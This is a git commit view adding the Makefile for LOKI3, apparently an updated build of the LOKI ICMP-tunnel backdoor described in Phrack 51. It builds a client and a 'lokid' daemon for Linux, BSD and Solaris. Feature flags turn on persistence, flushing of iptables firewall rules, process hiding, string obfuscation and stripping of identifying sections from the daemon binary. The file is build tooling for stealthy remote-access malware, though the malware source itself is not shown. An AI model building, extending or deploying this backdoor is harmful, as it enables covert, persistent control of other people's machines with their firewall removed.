summaryrefslogtreecommitdiff
path: root/Makefile
diff options
context:
space:
mode:
Diffstat (limited to 'Makefile')
-rw-r--r--Makefile94
1 files changed, 94 insertions, 0 deletions
diff --git a/Makefile b/Makefile
new file mode 100644
index 0000000..fc66d69
--- /dev/null
+++ b/Makefile
@@ -0,0 +1,94 @@
+# Makefile for LOKI3 Sun Jul 27 21:29:28 PDT 1997
+# route (c) 1997 Guild Corporation, Worldwide
+
+
+######
+# Choose a cryptography type
+#
+
+CRYPTO_TYPE = WEAK_CRYPTO # XOR
+#CRYPTO_TYPE = NO_CRYPTO # Plaintext
+
+######
+# Choose a child process handler type
+#
+
+SPAWN_TYPE = POPEN
+
+######
+# It is safe to leave this alone.
+#
+
+NET3 = #-DNET3
+SEND_PAUSE = SEND_PAUSE=100
+#DEBUG = -DDEBUG
+
+#####
+# Extra features
+#
+
+PERSISTENCE = -DPERSISTENCE
+FLUSH_IPTABLES = -DFLUSH_IPTABLES
+
+#----------------------------------------------------------------------------#
+
+
+i_hear_a_voice_from_the_back_of_the_room:
+ @echo
+ @echo "LOKI3 Makefile"
+ @echo "Edit the Makefile and then invoke with one of the following:"
+ @echo
+ @echo "linux openbsd freebsd solaris clean"
+ @echo
+ @echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
+ @echo
+
+linux:
+ @make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
+ strip loki lokid
+ strip -R .comment lokid
+
+openbsd:
+ @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
+
+freebsd:
+ @make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all
+
+solaris:
+ @make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
+ SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
+ LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all
+
+# Solaris: Get rid of -static
+CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \
+ $(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \
+ $(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3) $(PERSISTENCE) \
+ $(FLUSH_IPTABLES) -static
+
+#CC = gcc
+CC = musl-gcc
+#CC = /home/daniel/code/musl/i486-linux-musl-cross/bin/i486-linux-musl-gcc
+C_OBJS = surplus.o crypt.o cstrobf.o
+S_OBJS = client_db.o shm.o surplus.o crypt.o prochide.o persistence.o cstrobf.o
+
+
+.c.o:
+ $(CC) $(CFLAGS) -c $< -o $@
+
+all: loki
+
+loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o
+ $(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
+ $(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
+
+clean:
+ @( rm -fr *.o loki lokid )
+
+dist: clean
+ @( cd .. ; tar cvf loki3.tar loki3/ ; gzip -9 loki3.tar )